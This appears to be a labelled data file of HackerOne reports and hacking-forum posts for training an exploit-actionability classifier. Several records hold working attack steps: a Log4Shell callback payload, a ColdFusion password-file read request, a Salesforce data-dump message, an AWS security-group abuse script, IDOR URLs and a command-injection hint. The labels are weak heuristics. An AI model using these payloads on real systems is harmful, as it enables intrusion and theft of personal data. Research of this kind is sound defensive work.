-{"id": "e047c16ed08f67143538", "text": "[Untrusted Search Path] Node.js - DLL Hijacking on Windows\n\nFull Node.js Security Releases  - summarizing the issue is here:https://nodejs.org/en/blog/vulnerability/july-2022-security-releases/\nThe original Node.js HackerOne report is here: https://hackerone.com/bugs?report_id=1447455\n\n-----\n\nNode.js versions earlier than 16.16.0 (LTS) and 14.20.0 are vulnerable to dynamic link library (DLL) hijacking.\nAttackers can exploit this vulnerability to escalate their privileges and establish persistence in a target environment.\nThe vulnerability can also provide another way to embed malicious code into packages.\n\nThis vulnerability can be exploited if the victim has the following dependencies on Windows machine:\n* OpenSSL has been installed or “C:\\Program Files\\Common Files\\SSL\\openssl.cnf” exists.\n\nWhenever the above conditions are present, node.exe will search for providers.dll in the current user directory.\nAfter that, node.exe will try to search for providers.dll by the DLL Search Order in Windows.\n\nIt is possible for an attacker to place the malicious file providers.dll under a variety of paths and exploit this vulnerability.\nThis was fixed in Node.js 16.16.0 and 14.20.0 versions.\n\n## Impact\n\nA locally unprivileged attacker could perform a local privilege escalation, also It is possible for an attacker to place the malicious file \"providers.dll\" under a variety of paths (or under any other custom name via changing \"Providers=provider_sect\" providers filed to other package name(\nIn addition, the attackers may upload packages containing malicious dlls which run on the victim's windows machine after they download them.\nThe victim will not see any interaction with the dll in package code, so if he doesn't analyze the dll and decides to install the package, then the code will run.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-07-25", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "3b43a71018b20f22526c", "text": "[Unknown] [JAVA]: Partial Path Traversal\n\nThis bug was reported directly to GitHub Security Lab.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-10-05", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "9b980f0f6078b1ab722a", "text": "It takes a combination of multiple skills and utility tools to stay anonymous online. One of which is using proxy servers to avoid being tracked. If you want to give it a try, I’d recommend storm proxies, especially because of its rotating proxies feature. Here are some storm proxies coupon to help you make a decision.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackersploit", "forum_id": "hackersploit", "timestamp": "2022-04-08", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "8e272155fe4224ab386b", "text": "[Unknown] CVE-2023-28322: more POST-after-PUT confusion\n\nOriginal Report:https://hackerone.com/reports/1954658\n\n## Impact\n\nCWE-440: Expected Behavior Violation\nAn attacker could potentially inject data, either from stdin or from an unintended buffer. Further, without even an active attacker, this could lead to segfaults or sensitive information being exposed to an unintended recipient.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": ["CVE-2023-28322"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-06-25", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "62a0c769ed7fd5377f4b", "text": "[Deserialization of Untrusted Data] [CVE-2021-44228] nps.acronis.com is vulnerable to the recent log4shell 0-day\n\n## Summary\nThe website at nps.acronis.com is vulnerable to CVE-2021-44228\n\n## Steps To Reproduce\nI used this [script](https://github.com/fullhunt/log4j-scan) to find this. It spins up an interact-sh server to receive the callback and send the payload in the query string and about 30 diffent headers. You can reproduce manually with curl and interact-sh/burp collaborator/a server you control. However, since the callback is proof of the vulnerability, the script makes it easier to identify. Let me know if you want me to tell you which specific header fires the payload and I will test them.\n\n  1. Construct the payload: `${jdni:ldap://nps.acronis.com.<your-server>/test}`\n  1. Inject the payload in the Request Headers (User Agent, X-Forwarded-For etc) or use the script from fullscan: `python3 log4j-scan.py -u 'https://marketingportal.engelvoelkers.com'`\n  1. Observe the callback, proving the deserialization of untrusted data which leads to rce\n\n{F1544482}\n \n## Recommendations\nUpdate log4j to the latest [version](https://logging.apache.org/log4j/2.x/download.html)\nIf updating to the latest version is not possible the vulnerability can be mitigated by removing the JndiLookup class from the class path. Additionally, the issue can be mitigated on Log4j versions >=2.10 by setting the system property log4j2.formatMsgNoLookups or the LOG4J_FORMAT_MSG_NO_LOOKUPS environment variable to true.\n\n## Impact\n\nRemote Code Execution (rce)", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2021-44228"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-07-13", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "5cfdc6f52d75e4c50413", "text": "[Information Disclosure] Wrong settings in ADF Faces leads to information disclosure\n\nHello, Team.\n\nFound some interesting links which leads to information disclosure in █████\nLink 1: [████��█████]███\nLink 2: [████████]██████████\nLink 3: [██████████]███\n\nEvery link goes through https://██████to https://████\n**For Link 3 is possible to change data in the fields: First Name, Last Name, Phone Number. Just click \"██████\".**\n\nViewing the code gives us some more info about the system:\n```\n██████\n```\n\nADF ███████ is outdated\nThe [Ref. Page](https://docs.oracle.com/cd/E41362_01/web.1111/b31973/ap_config.htm) says:\n*A.2.3.16 Version Number Information\nUse the oracle.adf.view.rich.versionString.HIDDEN parameter to determine whether or not to display version information an a page's HTML. When the parameter is set to false, the HTML of an ADF Faces page contains information about the version of ADF Faces and other components used to create the page as shown in Example A-2.\nWhen you create a new application, the parameter is set to true. It should also be set to true in a production environment. Set the parameter to false to display this version information for debugging information.\nNote:\nIn a production environment, set this parameter to true to avoid security issues. It should be set to false only in a development environment for debugging purposes.*\n\n[This Ref.](https://imlive.s3.amazonaws.com/Federal%20Government/ID188660931371312277217448460962608356160/Attachment_E_███S_Request_for_Role_Guide.pdf) points us that Link 3 is:\n*██████S lists any █████s waiting for your approval. If there are none, there will be a message like the one in ███████. Click the Logout button to exit ██████████S.  You can use the link in your email to return to the ██████████.*\n\nBut we see the Logout button and can modify some data - so **perhaps** we are logged in.\n\n## Impact\n\nSensitive information disclosure\nInformation modification\nPrivacy Violation\n\n## System Host(s)\n███████\n\n## Affected Product(s) and Version(s)\nOracle ADF Faces\n\n## CVE Numbers\n\n\n## Steps to Reproduce\nIn the Desc. section\n\n## Suggested Mitigation/Remediation Actions\nUpdate Oracle ADF\nClose sensitive information from unauthenticated users", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-01-19", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "1f3a6dc292f723fd758b", "text": "i also reversed shell but i couldn’t get rooted, can you help me?", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-04-20", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "342a5b06439ff6439bf4", "text": "[Cross-site Scripting (XSS) - Reflected] XSS by clicking Jira's link\n\n### Summary\n\nSince the value of `/-/jira_connect/users?return_to=xxx` of `xxx` is used as a link as it is, it becomes XSS in some browsers.\n\n### Steps to reproduce\n\n1. Prepare a gitlab environment with no CSP configured (e.g. `localhost`)\n2. Logged in with safari browser\n3. Go to the `https://localhost/-/jira_connect/users?return_to=javascript:alert(location)` URL\n4. click `Return to GitLab for Jira` button\n\n### Impact\n\nXSS\n\n### Examples\n\nAffects logged-in users regardless of project.\n\n### What is the current *bug* behavior?\n\nhttps://gitlab.com/gitlab-org/gitlab/-/blob/v13.11.3-ee/app/controllers/jira_connect/users_controller.rb\n\n```ruby\nclass JiraConnect::UsersController < ApplicationController\n  feature_category :integrations\n\n  layout 'signup_onboarding'\n\n  def show\n    @jira_app_link = params.delete(:return_to)\n  end\nend\n```\n\nhttps://gitlab.com/gitlab-org/gitlab/-/blob/v13.11.3-ee/app/views/jira_connect/users/show.html.haml\n\n```haml\n  - if @jira_app_link\n    %p= external_link s_('Integrations|Return to GitLab for Jira'), @jira_app_link, class: 'gl-button btn btn-confirm'\n```\n\nhttps://gitlab.com/gitlab-org/gitlab/-/blob/v13.11.3-ee/app/helpers/external_link_helper.rb\n\n```haml\nmodule ExternalLinkHelper\n  def external_link(body, url, options = {})\n    link_to url, { target: '_blank', rel: 'noopener noreferrer' }.merge(options) do\n      \"#{body}#{sprite_icon('external-link', css_class: 'gl-ml-1')}\".html_safe\n    end\n  end\nend\n```\n`external_link` has not verified the validity of the url.\n\n### What is the expected *correct* behavior?\n\nIf it is a link other than http and https, it will not work.\n\n### Relevant logs and/or screenshots\n\n{F1298918}\n\n### Output of checks\n\nBlocked by CSP at GitLab.com\n\n#### Results of GitLab environment info\n\n```\n# gitlab-rake gitlab:env:info\n\nSystem information\nSystem:\nCurrent User:\tgit\nUsing RVM:\tno\nRuby Version:\t2.7.2p137\nGem Version:\t3.1.4\nBundler Version:2.1.4\nRake Version:\t13.0.3\nRedis Version:\t6.0.12\nGit Version:\t2.31.1\nSidekiq Version:5.2.9\nGo Version:\tunknown\n\nGitLab information\nVersion:\t13.11.3\nRevision:\tb321336e443\nDirectory:\t/opt/gitlab/embedded/service/gitlab-rails\nDB Adapter:\tPostgreSQL\nDB Version:\t12.6\nURL:\t\thttps://gitlab.example.com\nHTTP Clone URL:\thttps://gitlab.example.com/some-group/some-project.git\nSSH Clone URL:\tgit@gitlab.example.com:some-group/some-project.git\nUsing LDAP:\tno\nUsing Omniauth:\tyes\nOmniauth Providers:\n\nGitLab Shell\nVersion:\t13.17.0\nRepository storage paths:\n- default: \t/var/opt/gitlab/git-data/repositories\nGitLab Shell path:\t\t/opt/gitlab/embedded/service/gitlab-shell\nGit:\t\t/opt/gitlab/embedded/bin/git\n```\n\n## Impact\n\nIt becomes XSS when the user is directed to the user who is logged in with the Safari browser to the instance where CSP is not set.\n\nChrome and Firefox showed other tabs and javascript was not executed.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-06-08", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "ba0f15ce72c75cae8a27", "text": "[Improper Access Control - Generic] Unauthenticated File Read Adobe ColdFusion\n\nUnauthenticated Arbitrary File Read vulnerability due to de serialization of untrusted data in Adobe ColdFusion.\n\n## Impact\n\nThe impact of this vulnerability could result in unauthorized access to sensitive data and actions within the affected Adobe ColdFusion instances.\n\n## System Host(s)\n█████████\n\n## Affected Product(s) and Version(s)\nThe vulnerability affects ColdFusion 2021 Update 5 and earlier as well as ColdFusion 2018 Update 15 and earlier\n\n## CVE Numbers\nCVE-2023-26360\n\n## Steps to Reproduce\nPOST /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/iedit.cfc?method=wizardHash&_cfclient=true&returnFormat=wddx&inPassword=foo HTTP/1.1\nHost: ███\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36\nConnection: close\nContent-Length: 121\nContent-Type: application/x-www-form-urlencoded\nAccept-Encoding: gzip, deflate, br\n\n_variables=%7b%22_metadata%22%3a%7b%22classname%22%3a%22i/../lib/password.properties%22%7d%2c%22_variables%22%3a%5b%5d%7d\n\nPassword hash is disclosed in the response:\n\n## Suggested Mitigation/Remediation Actions\nApply the necessary security patches or updates provided by Adobe to fix the vulnerability.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": ["CVE-2023-26360"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-12-21", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "dcffac15f4d8aff11d00", "text": "[Information Disclosure] Registered users contact  information disclosure on salesforce lightning endpoint https://disposal.gsa.gov\n\nHi, \n\nSample of the Information Disclosure is below.  More records are attached -███\n\n\"LastName\":\"████\",\"FullName__c\":\"█████████\",\"Id\":\"██████████\",\"MailingStreet\":null,\"Active__c\":false,\"Email__c\":null,\"LastModifiedBy\":{\"Id\":\"00530000009KyDqAAK\",\"Name\":\"SNA █████████\",\"sobjectType\":\"User\"},\"UserPassword__c\":null,\"Office__c\":null,\"BIA_Coordinator__c\":false,\"Contact_Type__c\":null,\"MailingCountry\":null,\"Salutation\":null,\"MailingState\":null,\"OwnerId\":\"005t0000002H5O6AAK\",\"RecordType\":{\"Name__l\":\"Non-Federal Contact\",\"Id\":\"████\",\"Name\":\"Non-Federal Contact\",\"sobjectType\":\"RecordType\"},\"Phone\":\"███\"\n\nUser\",\"sobjectType\":\"User\"},\"AccountId\":\"█████████\",\"Email\":\"█████\",\"Subscription_Type__c\":null,\"THPO_Coordinator__c\":false,\"MobilePhone\":null,\"Do_Not_Call__c\":false,**Name\":\"█████████**,\"Region__c\":null,\"LastModifiedDate__f\":\"5/12/2019 8:49 AM\",\"CreatedById\":\"005t0000001FpB7AAK\",\"Subscriber__c\":false,\"State__c\":null,\"CreatedBy\":{\"Id\":\"005t0000001FpB7AAK\",\"Name\":\"Property Disposal Site Guest User\",\"sobjectType\":\"User\"},\"Section_7_Coordinator__c\":false,\"Environmental_Assessor__c\":false,\"MailingCity\":null,\"Salutation__l\":null,\"CreatedDate__f\":\"1/24/2018 1:22 AM\",\"Comments__c\":null,\"CreatedDate\":\"2018-01-24T06:22:57.000Z\",\"Division__c\":null,\"LastName\":\"████\",\"FullName__c\":\"████\"\n\n\n## Steps to Reproduce -\n\n1) Create user account on https://disposal.gsa.gov\n\n2) Complete to account verification process.\n\n3) After login, visit the burp history and look for any any POST request having \"/s/sfsites/aura\" kind of request.\n\n4) Use the POST request like this █████ in repeater and modify \"message\" parameter as below and leave remaining aura.context and aura.token parameters as it is.\n\nmessage={\"actions\":[{\"id\":\"261;a\",\"descriptor\":\"serviceComponent://ui.force.components.controllers.lists.selectableListDataProvider.SelectableListDataProviderController/ACTION$getItems\",\"callingDescriptor\":\"UNKNOWN\",\"params\":{\"entityNameOrId\":\"Contact\",\"pageSize\":1000,\"currentPage\":1,\"getCount\":true,\"layoutType\":\"FULL\",\"enableRowActions\":true,\"useTimeout\":false}}]}\n\n5) contact details of users will be returned by the endpoint.\n\n## Impact\n\nInformation disclosure.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-06-06", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "22688564beddbf67af62", "text": "[Insecure Direct Object Reference (IDOR)] Unprotected Direct Object Reference\n\nHello MTN Security Team,\nDuring my hunting,\nI discovered that there's an Insecure Direct Object Reference  on https://nin.mtnonline.com \nVulnerable Path:  https://nin.mtnonline.com/nin/success?message=1\n\nSteps To Reproduce:\nYou may not even require to submit any NIN before accessing this unprotected page,\nJust visit https://nin.mtnonline.com/nin/success?message=1 \n\nI discovered that, to  see other user's NIN, it only require 2 difference , example\nhttps://nin.mtnonline.com/nin/success?message=3\nhttps://nin.mtnonline.com/nin/success?message=5\nhttps://nin.mtnonline.com/nin/success?message=7\nhttps://nin.mtnonline.com/nin/success?message=9\nhttps://nin.mtnonline.com/nin/success?message=11\nhttps://nin.mtnonline.com/nin/success?message=1901\nhttps://nin.mtnonline.com/nin/success?message=1903\nhttps://nin.mtnonline.com/nin/success?message=8001\n\n## Impact\n\nThis bug exposed all the submitted Nigerians National Identity Number (NIN) .which can be abused in other way else if found out by a malicious person", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-12-01", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "5191431d317598f283e2", "text": "[Code Injection] Argument/Code Injection via ActiveStorage's image transformation functionality\n\n# Affected components\n\nTested on:\n\n1. activestorage 6.1.3.1\n2. image\\_processing 1.12.1\n3. mini\\_magick 4.11.0\n\n# Found by\n\nGabriel Quadros and Ricardo Silva from Conviso Application Security\n\n# Description\n\n## Intro\n\nActiveStorage has an image transformation functionality [1, 2, 3, 4, 5, 6] which uses the concept of *variants*. By their own words [5]:\n\n> Image blobs can have variants that are the result of a set of transformations applied to the original. These variants are used to create thumbnails, fixed-size avatars, or any other derivative image from the original.\n\n> Variants rely on ImageProcessing gem for the actual transformations of the file, so you must add gem \"image\\_processing\" to your Gemfile if you wish to use variants. By default, images will be processed with ImageMagick using the MiniMagick gem, but you can also switch to the libvips processor operated by the ruby-vips gem).\n\nOne example of direct usage can be seen in the docs as:\n\n```ruby\n<%= image_tag user.avatar.variant(resize_to_limit: [100, 100]) %>\n```\n\nThis will create an image tag with a variant URL, which when visited will return the *avatar* image transformed to the new size.\n\nAnother example uses the *preview()* method, which can be used to generate images from videos and PDF files. Once the preview image is generated, it also calls *variant()* under the hood.\n\n```html\n<ul>\n  <% @message.files.each do |file| %>\n    <li>\n      <%= image_tag file.preview(resize_to_limit: [100, 100]) %>\n    </li>\n  <% end %>\n</ul>\n```\n\n## Vulnerabilities\n\nFirst, it is worth noting that the docs [3, 4, 7] do not state anything about it being insecure to pass user-supplied values as arguments to the *variant()/preview()* methods.\n\nRails uses the gem ImageProcessing [8] with MiniMagick by default, passing the transformations to the *apply* method.\n\n**File:** activestorage/lib/active\\_storage/transformers/image\\_processing\\_transformer.rb\n```ruby\n 12 module ActiveStorage                                                          \n 13   module Transformers                                                         \n 14     class ImageProcessingTransformer < Transformer                            \n 15       private                                                                 \n 16         def process(file, format:)                                            \n 17           processor.                                                          \n 18             source(file).                                                     \n 19             loader(page: 0).                                                  \n 20             convert(format).                                                  \n 21             apply(operations).                                                \n 22             call                                                              \n 23         end\n```\n\nThis method passes these operations to the *builder* object by iterating over them and calling methods providing arguments, as can be seen below.\n\n**File:** lib/image\\_processing/chainable.rb\n```ruby\n 24     # Add multiple operations as a hash or an array.                          \n 25     #                                                                         \n 26     #   .apply(resize_to_limit: [400, 400], strip: true)                      \n 27     #   # or                                                                  \n 28     #   .apply([[:resize_to_limit, [400, 400]], [:strip, true])               \n 29     def apply(operations)                                                     \n 30       operations.inject(self) do |builder, (name, argument)|                  \n 31         if argument == true || argument == nil                                \n 32           builder.send(name)                                                  \n 33         elsif argument.is_a?(Array)                                           \n 34           builder.send(name, *argument)                                       \n 35         elsif", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-07-28", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "709781336e6c7b9ed885", "text": "[Unknown] Apache HTTP Server: mod_proxy_ajp: Possible request smuggling\n\nInconsistent Interpretation of HTTP Requests ('HTTP Request Smuggling') vulnerability in mod_proxy_ajp of Apache HTTP Server allows an attacker to smuggle requests to the AJP server it forwards requests to.  This issue affects Apache HTTP Server Apache HTTP Server 2.4 version 2.4.53 and prior versions.\n\n## Impact\n\nInformation disclosure, RCE", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-07-09", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "5b583251b42856b06db9", "text": "[Unknown] 8ybhy85kld9zp9xf84x6.imgur.com Subdomain Takeover\n\nHello Gents,\n+ While testing ** Imgur ** I found an unclaimed subdomain which is; “8ybhy85kld9zp9xf84x6.imgur.com”, and I was able to claim it!\n+ But actually I didn't upload or host a simple file like `mr_baka.html`, because I need to upgrade the account to be able to use this custom domain!\n+ Anyway, you can verify that I was able to claim this subdomain by visiting https://8ybhy85kld9zp9xf84x6.imgur.com and clicking [Manage domain settings here.](https://mrbaka.squarespace.com/config#/settings/domains), which should lead you to my account; https://mrbaka.squarespace.com\" .\n\n### Before claiming:\n+ {F1675230}\n\n### After:\n+ {F1675231}\n\n## Impact\n\nSubdomain Takeover may lead to below consequences:\n\n- Phishing / Spear Phishing\n- Malware distribution\n- XSS\n- Authentication bypass and more\n- Credential stealing", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-06-03", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "fc8330e0ffc15652fe59", "text": "[Uncontrolled Resource Consumption] CVE-2023-46695: Potential denial of service vulnerability in UsernameField on Windows\n\nIn Django versions before 4.2.7, 4.1.13, and 3.2.23, I sent a POST request to the admin login page using Burp Suite, editing the request to send over 1 million invalid unicode characters to my local  web server running Django. (I used: \"¾\")\nAfter submitting, a single request took 4.4 seconds on average.\nWhen I sent 20 concurrent requests, then I got 60 second wait times, and 504 gateway timeout errors on my machine.\n{F2871465}\nNormal ascii characters don't do this and the page loads instantly.\n\n## Impact\n\nDenial of Service anywhere a form contains a UsernameField that checks for errors.", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2023-46695"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-11-29", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "9626eb47520f442e114f", "text": "Use the base64 encoded payload shown in the module to read the flag echo -n 'cat /flag.txt' | base64 You need to substitute / with something else (from previous modules ${PA…} in the above command. You can take that output and inject it using the below method: ‘bash<<<…’ In the URL after to= make sure you substitute characters for spaces and || or & as well. Once you insert the right payload use the move option to display the flag.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-04-24", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "9ec259bca8055b0e74dc", "text": "[Resource Injection] AWS Load Balancer Controller can be used by an attacker to modify rules of any Security Group that they are able to tag\n\nReport Submission Form\n\n## Summary:\nThe IAM Policy of AWS Load Balancer Controller allows it to modify rules of any SG on the AWS Account. This is legitimately used to manage Security Groups created by the controller when an Ingress resource doesn’t explicit a SG. Annotations can be added to the Ingress to change inbound rules of the managed SG.\n\nAn attacker with access to some namespace on a K8s cluster with AWS Load Balancer Controller properly installed and configured, is able to trick the controller into modifying rules of any SG that the attacker is able to tag.\n\nAWS Load Balancer Controller uses three tags to associate a SG on AWS to the supposed managed SG created for an ALB: `elbv2.k8s.aws/cluster`, `ingress.k8s.aws/stack`, and `ingress.k8s.aws/resource`. When there are multiple SGs that match the expected tag values, the controller attaches the first one returned by the AWS SDK to the ALB and deletes the other ones. The API call returns SGs sorted by their respective ids.\n\nIf an arbitrary SG is tagged with the values expected by AWS Load Balancer Controller for some Ingress before its creation, as soon the Ingress is created the controller thinks that the targeted SG is a managed one. This allows an attacker to use annotations `alb.ingress.kubernetes.io/listen-ports` and `alb.ingress.kubernetes.io/inbound-cidrs` on the Ingress resource to modify inbound rules of unmanaged SGs, what should not be possible.\n\n## Kubernetes Version:\nversion.Info{Major:\"1\", Minor:\"20+\", GitVersion:\"v1.20.4-eks-6b7464\", GitCommit:\"6b746440c04cb81db4426842b4ae65c3f7035e53\", GitTreeState:\"clean\", BuildDate:\"2021-03-19T19:33:03Z\", GoVersion:\"go1.15.8\", Compiler:\"gc\", Platform:\"linux/amd64\"}\n\n## Component Version:\nAWS Load Balancer Controller v2.2.0\n\n## Steps To Reproduce:\n\n```bash\nVPC_ID=vpc-00123456789abcdef\nCLUSTER_NAME=kind\n\n# Developer legitimatly creates a security group to protect some service\nUNMANAGED_SG_ID=$(aws ec2 create-security-group --description unmanaged-sg --group-name unmanaged-sg --vpc-id ${VPC_ID} | jq -r .GroupId)\n\n# Attacker tags the unmanaged security group with values expected by the AWS Load Balancer Controller\naws ec2 create-tags --resources ${UNMANAGED_SG_ID} --tags \"Key=elbv2.k8s.aws/cluster,Value=${CLUSTER_NAME}\" \"Key=ingress.k8s.aws/stack,Value=echoserver/echoserver\" \"Key=ingress.k8s.aws/resource,Value=ManagedLBSecurityGroup\"\n\n# Attacker creates an Ingress with a combination of name, namespace, and cluster that matches the tags added to the unmanaged SG\n# listen-ports and inbound-cidrs annotations are set with values related to the inbound rule that will be created on the security group\naws eks update-kubeconfig --name ${CLUSTER_NAME}\ncat <<- EOF | kubectl apply -f -\napiVersion: v1\nkind: Service\nmetadata:\n  namespace: echoserver\n  name: echoserver\nspec:\n  selector:\n    app: echoserver\n  ports:\n    - name: http\n      protocol: TCP\n      port: 8080\n---\napiVersion: extensions/v1beta1\nkind: Ingress\nmetadata:\n  namespace: echoserver\n  name: echoserver\n  annotations:\n    kubernetes.io/ingress.class: alb\n    alb.ingress.kubernetes.io/target-type: ip\n    alb.ingress.kubernetes.io/listen-ports: '[{\"HTTP\":22}]'\n    alb.ingress.kubernetes.io/inbound-cidrs: 0.0.0.0/0\nspec:\n  rules:\n    - host: echoserver.example.com\n      http:\n        paths:\n          - backend:\n              serviceName: echoserver\n              servicePort: 8080\nEOF\nsleep 15\n\n# Inbound rules were created on the unmanaged security group, allowing ingress SSH traffic (TCP Port 22) from anywhere (CIDR 0.0.0.0/0)\naws ec2 describe-security-groups --group-id ${UNMANAGED_SG_ID}\n```\n\n## Impact\n\nAn attacker is capable of gaining access to all network resources protected by some Security Group and is also able to expose critical services to the Internet if they are on a public subnet. A denial of service attack can be performed by blocking traffic of legitimate clients to resources with SGs attached.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-06-02", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "8b5b18a530f8d72134af", "text": "[Improper Access Control - Generic] Unauthenticated IP allowlist bypass when accessing job artifacts through gitlab pages at `{group_id}.gitlab.io`\n\n## Summary\n\nAn owner of a group can restrict access to the group, subgroups and projects to only work from a specific IP range. See documentation [link](https://docs.gitlab.com/ee/user/group/#restrict-group-access-by-ip-address)\n\n> To ensure only people from your organization can access particular resources, you can restrict access to groups by IP address.\n\nThis will restrict most actions, but have some caveats described in the documentation (which we will use to leak job IDs).\n\nOne thing that is restricted is access to pipeline job artifacts, both through the API and through the UI. But there exists a feature in GitLab that is used to \"preview\" HTML artifacts safely. GitLab exposes pipeline job artifacts for preview under the `pages` domain gitlab.io\n\nWhat I have seen, this is for rendering HTML files, but it gives access to the complete artifact. This endpoint is not restricted by the IP block, and thus leaks job artifacts to users outside the IP range. Given that the IP block should restrict the group from users outside the IP range there is a high risk that projects protected this way have visibility `Public`, when this is the case these `artifacts` are leaked to `unathenticated` users outside the IP range.\n\nTo view the artifact files, a user would need access to the ID of the pipeline job. This makes the attack harder to pull off. But as IP restricted groups/projects are a bit leaky with their information, these IDs can be found in different ways. One way the job ID is leaked is through email notifications. If a user have enabled notifications on \"pipeline finished\" on the IP blocked project, then these job IDs will get sent to the user's email when a pipeline have finished. The user can then access the artifacts from any IP using the job ID from the email.\n\nThere might be other places where job IDs leak out. But the important thing is that the data is accessible to anyone with the link.\n\n## Steps to reproduce\n\n1. Create a user called `victim` and log in to Gitlab.com\n2. Create a `public` group with at least `Premium` subscription (create an ultimate trail if needed), lets call it `group01`\n3. Create a `public` project in the group, lets call it `project01`\n4. In the project create two files\nhidden.json\n```json\n{\n   \"hidden\": \"hidden\"\n}\n```\nand .gitlab-ci.yml\n```yml\ndata:\n  artifacts:\n    paths:\n    - ./\n    expire_in: 2 weeks\n```\n5. When the files are created a pipeline job will run.\n6. Go to gitlab.com/group01/project01/-/pipelines and click on the button `status done`, click on the job `data` and then on \"browse\" under job artifacts\n7. You should now be able to click and download the artifact file. The URL should look like\n```\nhttps://gitlab.com/group01/project01/-/jobs/2493429745/artifacts/browse\n```\nand the file should be accessible like\n```\nhttps://gitlab.com/group01/project01/-/jobs/2493429745/artifacts/file/hidden.json\n```\n8. Now go to group settings https://gitlab.com/groups/group01/-/edit and expand \"Permissions and group features\"\n9. Scroll down to \"Allow access to the following IP addresses\" and enter 1.1.1.1 and click enter (as owner you will always have access to this settings page so dont worry about the IP)\n10. Click save\n11. Now go back to the artifact URL and file URL and see that you will get a 404 error, no access anymore\n12. Now go to (change the ID)\n```\nhttps://group01.gitlab.io/-/project01/-/jobs/2493429745/artifacts/hidden.json\n```\n13. You should see the content of the artifact file!\n14. Open a new browser, or log out, visit the same site. The artifact is shown unauthenticated\n\n## Impact\n\nUsers can access pipeline job artifacts in groups from restricted IP addresses\n\n## Examples\n\nThis is a public project with an IP restriction. You should not be able to see the files\n\nhttps://gitlab.com/joaxcarultimate3/teat3/-/jobs/2547216908/artifacts/browse\n\nThis is the hidden file accessible to anyone, any IP\n\nhttps://joaxcarultimate3.gitlab.io/-/teat3/-/jobs", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-09-22", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "c7aec12fbdf94b2a1fc0", "text": "[Cross-site Scripting (XSS) - Stored] Stored xss at https://█.8x8.com/api/█/ID\n\n## Summary:\nhey , \ni found a stored  xss at `https://██████.8x8.com/api/██████mentInfoById/ID` , when i analysis javascript code i understand user can modify her ip address with endpoint `https://███.8x8.com/api/patchPaymentMethod/ID` , next point i understand when we open    `https://████████.8x8.com/api/██████████mentInfoById/ID` server set `Content-Type: text/html;charset=UTF-8` , this was interesting point , then i modify ip address with this request:\n```\nPOST /api/patchPaymentMethod/█████████ HTTP/2\nHost: ███.8x8.com\nCookie: ajs_anonymous_id=13b1ab4c-87f5-4dbb-967b-066b6d7efd1e; _gcl_au=1.1.275521026.1689699475; _fbp=fb.1.1689701587161.1730712436; __cf_bm=MloB4oUJmeviUXpE1GRUn8TtqbE4CwVEttuZr9tUrOQ-1689845706-0-AWJDz0q9F1c0CmKcbShEYyS7Qqsfd88Gb9W9YsIXUoHhnP/aHA+wGRccAnb8GxD1HBTGXJ71aHh7XzOojjLP/sg=\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nUpgrade-Insecure-Requests: 